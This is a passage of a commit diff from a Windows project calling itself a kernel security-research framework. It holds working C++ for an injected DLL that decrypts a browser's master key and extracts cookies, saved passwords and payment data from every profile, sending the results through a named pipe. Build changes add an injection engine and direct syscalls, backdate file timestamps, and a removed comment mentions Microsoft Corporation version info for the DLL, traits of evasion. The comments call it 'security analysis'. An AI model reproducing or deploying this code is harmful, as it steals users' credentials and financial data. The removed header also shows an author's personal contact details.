MasterKeyDecryptor keyDecryptor(m_logger);
|
|
||||||
fs::path localStatePath = browserManager.getUserDataRoot() / "Local State";
|
|
||||||
aesKey = keyDecryptor.Decrypt(browserConfig, localStatePath);
|
|
||||||
}
|
|
||||||
m_logger.Log("[+] Decrypted AES Key: " + Utils::BytesToHexString(aesKey));
|
|
||||||
|
|
||||||
// Discover and process all browser profiles systematically
|
|
||||||
ProfileEnumerator enumerator(browserManager.getUserDataRoot(), m_logger);
|
|
||||||
auto profilePaths = enumerator.FindProfiles();
|
|
||||||
|
|
||||||
for (const auto& profilePath : profilePaths)
|
|
||||||
{
|
|
||||||
m_logger.Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename()));
|
|
||||||
|
|
||||||
// Extract each data type (cookies, passwords, payments) using specialized handlers
|
|
||||||
for (const auto& dataConfig : Data::GetExtractionConfigs())
|
|
||||||
{
|
|
||||||
DataExtractor extractor(profilePath, dataConfig, aesKey, m_logger, m_outputPath, browserConfig.name);
|
|
||||||
extractor.Extract();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
m_logger.Log("[*] All profiles processed. Security analysis process finished.");
|
|
||||||
}
|
|
||||||
|
|
||||||
private:
|
|
||||||
// Read configuration parameters from orchestrator via named pipe
|
|
||||||
void ReadPipeParameters()
|
|
||||||
{
|
|
||||||
char buffer[MAX_PATH + 1] = {0};
|
|
||||||
DWORD bytesRead = 0;
|
|
||||||
|
|
||||||
// Read verbose flag configuration
|
|
||||||
ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
|
|
||||||
|
|
||||||
// Read output path configuration
|
|
||||||
ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
|
|
||||||
buffer[bytesRead] = '\0';
|
|
||||||
m_outputPath = buffer;
|
|
||||||
}
|
|
||||||
|
|
||||||
PipeLogger m_logger;
|
|
||||||
fs::path m_outputPath;
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
// Thread parameters for security module worker thread
|
|
||||||
struct ModuleThreadParams
|
|
||||||
{
|
|
||||||
HMODULE hModule_dll;
|
|
||||||
LPVOID lpPipeNamePointerFromOrchestrator;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Main worker thread for browser security analysis operations
|
|
||||||
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam)
|
|
||||||
{
|
|
||||||
auto thread_params = std::unique_ptr<ModuleThreadParams>(static_cast<ModuleThreadParams*>(lpParam));
|
|
||||||
|
|
||||||
try
|
|
||||||
{
|
|
||||||
SecurityComponents::SecurityOrchestrator orchestrator(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
|
|
||||||
orchestrator.Run();
|
|
||||||
}
|
|
||||||
catch (const std::exception& e)
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
// Attempt to log error through pipe if communication channel is available
|
|
||||||
SecurityComponents::PipeLogger errorLogger(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
|
|
||||||
if (errorLogger.isValid())
|
|
||||||
{
|
|
||||||
errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (...) {} // Failsafe error handling if logging subsystem fails
|
|
||||||
}
|
|
||||||
|
|
||||||
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Security module entry point - initializes browser security analysis operations
|
|
||||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
|
|
||||||
{
|
|
||||||
if (reason == DLL_PROCESS_ATTACH)
|
|
||||||
{
|
|
||||||
DisableThreadLibraryCalls(hModule);
|
|
||||||
|
|
||||||
auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved};
|
|
||||||
if (!params) return TRUE;
|
|
||||||
|
|
||||||
HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL);
|
|
||||||
if (hThread)
|
|
||||||
{
|
|
||||||
CloseHandle(hThread);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
delete params;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
BIN
kvc/kvc_crypt.rc
BIN
kvc/kvc_crypt.rc
Binary file not shown.
@@ -64,25 +64,28 @@
|
|||||||
<Command>powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
|
<Command>powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
|
||||||
</PostBuildEvent>
|
</PostBuildEvent>
|
||||||
<ResourceCompile>
|
<ResourceCompile>
|
||||||
<!-- Fixed: Removed NO_RESOURCES to enable Microsoft Corporation version info -->
|
|
||||||
<Culture>0x0409</Culture>
|
<Culture>0x0409</Culture>
|
||||||
</ResourceCompile>
|
</ResourceCompile>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="kvc_crypt.cpp" />
|
<ClCompile Include="CryptCore.cpp" />
|
||||||
|
<ClCompile Include="BrowserCrypto.cpp" />
|
||||||
|
<ClCompile Include="DataExtraction.cpp" />
|
||||||
|
<ClCompile Include="CommunicationModule.cpp" />
|
||||||
<ClCompile Include="SelfLoader.cpp" />
|
<ClCompile Include="SelfLoader.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<!-- Fixed: Enabled resource.h include -->
|
<ClInclude Include="CryptCore.h" />
|
||||||
|
<ClInclude Include="BrowserCrypto.h" />
|
||||||
|
<ClInclude Include="DataExtraction.h" />
|
||||||
|
<ClInclude Include="CommunicationModule.h" />
|
||||||
<ClInclude Include="resource.h" />
|
<ClInclude Include="resource.h" />
|
||||||
<ClInclude Include="SelfLoader.h" />
|
<ClInclude Include="SelfLoader.h" />
|
||||||
<ClInclude Include="winsqlite3.h" />
|
<ClInclude Include="winsqlite3.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<!-- Fixed: Added resource file for Microsoft Corporation version info -->
|
|
||||||
<ResourceCompile Include="kvc_crypt.rc" />
|
<ResourceCompile Include="kvc_crypt.rc" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<!-- ADD TARGET FOR RESOURCE CLEANING -->
|
|
||||||
<Target Name="RemoveVCRuntimeResources" AfterTargets="Link">
|
<Target Name="RemoveVCRuntimeResources" AfterTargets="Link">
|
||||||
<Exec Command="if exist "@(FinalOutputPath)" echo Building minimal DLL..." />
|
<Exec Command="if exist "@(FinalOutputPath)" echo Building minimal DLL..." />
|
||||||
</Target>
|
</Target>
|
||||||
|
|||||||
4
kvc/kvc_crypt.vcxproj.user
Normal file
4
kvc/kvc_crypt.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup />
|
||||||
|
</Project>
|
||||||
@@ -65,18 +65,26 @@
|
|||||||
</ResourceCompile>
|
</ResourceCompile>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="BrowserOrchestrator.cpp" />
|
<ClCompile Include="OrchestratorCore.cpp" />
|
||||||
|
<ClCompile Include="BrowserProcessManager.cpp" />
|
||||||
|
<ClCompile Include="InjectionEngine.cpp" />
|
||||||
|
<ClCompile Include="CommunicationLayer.cpp" />
|
||||||
<ClCompile Include="syscalls.cpp" />
|
<ClCompile Include="syscalls.cpp" />
|
||||||
|
<ClCompile Include="EdgeDPAPI.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClInclude Include="OrchestratorCore.h" />
|
||||||
|
<ClInclude Include="BrowserProcessManager.h" />
|
||||||
|
<ClInclude Include="InjectionEngine.h" />
|
||||||
|
<ClInclude Include="CommunicationLayer.h" />
|
||||||
<ClInclude Include="resource.h" />
|
<ClInclude Include="resource.h" />
|
||||||
<ClInclude Include="syscalls.h" />
|
<ClInclude Include="syscalls.h" />
|
||||||
|
<ClInclude Include="EdgeDPAPI.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<MASM Include="AbiTramp.asm" />
|
<MASM Include="AbiTramp.asm" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<!-- Fixed: Use kvc.ico instead of PassExtractor.ico -->
|
|
||||||
<Image Include="ICON\kvc.ico" />
|
<Image Include="ICON\kvc.ico" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
|||||||
121
kvc/licznik.py
Normal file
121
kvc/licznik.py
Normal file
@@ -0,0 +1,121 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
|
||||||
|
EXTS = {'.cpp', '.h', '.asm'}
|
||||||
|
|
||||||
|
def strip_c_style_comments(src: str) -> str:
|
||||||
|
out = []
|
||||||
|
i = 0
|
||||||
|
n = len(src)
|
||||||
|
in_block = False
|
||||||
|
in_line = False
|
||||||
|
in_double = False
|
||||||
|
in_single = False
|
||||||
|
escape = False
|
||||||
|
while i < n:
|
||||||
|
ch = src[i]
|
||||||
|
nxt = src[i+1] if i+1 < n else ''
|
||||||
|
if in_block:
|
||||||
|
if ch == '*' and nxt == '/':
|
||||||
|
in_block = False
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
i += 1
|
||||||
|
continue
|
||||||
|
if in_line:
|
||||||
|
if ch == '\n':
|
||||||
|
in_line = False
|
||||||
|
out.append(ch)
|
||||||
|
i += 1
|
||||||
|
continue
|
||||||
|
if not in_double and not in_single:
|
||||||
|
if ch == '/' and nxt == '*':
|
||||||
|
in_block = True
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
if ch == '/' and nxt == '/':
|
||||||
|
in_line = True
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
# handle string/char quoting and escapes
|
||||||
|
if ch == '"' and not in_single:
|
||||||
|
if not escape:
|
||||||
|
in_double = not in_double
|
||||||
|
elif ch == "'" and not in_double:
|
||||||
|
if not escape:
|
||||||
|
in_single = not in_single
|
||||||
|
if ch == '\\' and (in_double or in_single):
|
||||||
|
escape = not escape
|
||||||
|
else:
|
||||||
|
escape = False
|
||||||
|
out.append(ch)
|
||||||
|
i += 1
|
||||||
|
return ''.join(out)
|
||||||
|
|
||||||
|
def strip_asm_comments(src: str) -> str:
|
||||||
|
out_lines = []
|
||||||
|
in_double = False
|
||||||
|
in_single = False
|
||||||
|
for line in src.splitlines(True):
|
||||||
|
res = []
|
||||||
|
escape = False
|
||||||
|
for i,ch in enumerate(line):
|
||||||
|
if ch == '"' and not in_single:
|
||||||
|
if not escape:
|
||||||
|
in_double = not in_double
|
||||||
|
elif ch == "'" and not in_double:
|
||||||
|
if not escape:
|
||||||
|
in_single = not in_single
|
||||||
|
if (not in_double and not in_single) and (ch == ';' or ch == '#'):
|
||||||
|
# drop remainder of line
|
||||||
|
break
|
||||||
|
res.append(ch)
|
||||||
|
if ch == '\\':
|
||||||
|
escape = not escape
|
||||||
|
else:
|
||||||
|
escape = False
|
||||||
|
out_lines.append(''.join(res))
|
||||||
|
# reset string state per line for typical asm; if you want to preserve multi-line strings, remove the next two lines
|
||||||
|
in_double = False
|
||||||
|
in_single = False
|
||||||
|
return ''.join(out_lines)
|
||||||
|
|
||||||
|
def strip_comments_by_ext(path, text):
|
||||||
|
ext = os.path.splitext(path)[1].lower()
|
||||||
|
if ext in ('.cpp', '.h'):
|
||||||
|
# first remove C-style comments preserving strings
|
||||||
|
return strip_c_style_comments(text)
|
||||||
|
elif ext == '.asm':
|
||||||
|
# remove common asm line comments ; and #
|
||||||
|
# also remove C-style block comments if present
|
||||||
|
t = strip_c_style_comments(text)
|
||||||
|
return strip_asm_comments(t)
|
||||||
|
else:
|
||||||
|
return text
|
||||||
|
|
||||||
|
total = 0
|
||||||
|
per_file = []
|
||||||
|
|
||||||
|
for root, dirs, files in os.walk('.'):
|
||||||
|
for name in files:
|
||||||
|
ext = os.path.splitext(name)[1].lower()
|
||||||
|
if ext in EXTS:
|
||||||
|
full = os.path.join(root, name)
|
||||||
|
try:
|
||||||
|
with open(full, 'r', encoding='utf-8', errors='replace') as f:
|
||||||
|
src = f.read()
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Could not read {full}: {e}", file=sys.stderr)
|
||||||
|
continue
|
||||||
|
cleaned = strip_comments_by_ext(full, src)
|
||||||
|
# count non-empty lines after stripping comments and trimming whitespace
|
||||||
|
count = sum(1 for line in cleaned.splitlines() if line.strip() != '')
|
||||||
|
per_file.append((full, count))
|
||||||
|
total += count
|
||||||
|
|
||||||
|
# print per-file and total
|
||||||
|
for fn, c in per_file:
|
||||||
|
print(f"{fn}: {c}")
|
||||||
|
print(f"\nTotal (non-empty, comments removed): {total}")
|
||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// syscalls.cpp
|
// syscalls.cpp
|
||||||
#include "syscalls.h"
|
#include "syscalls.h"
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
|||||||
Reference in New Issue
Block a user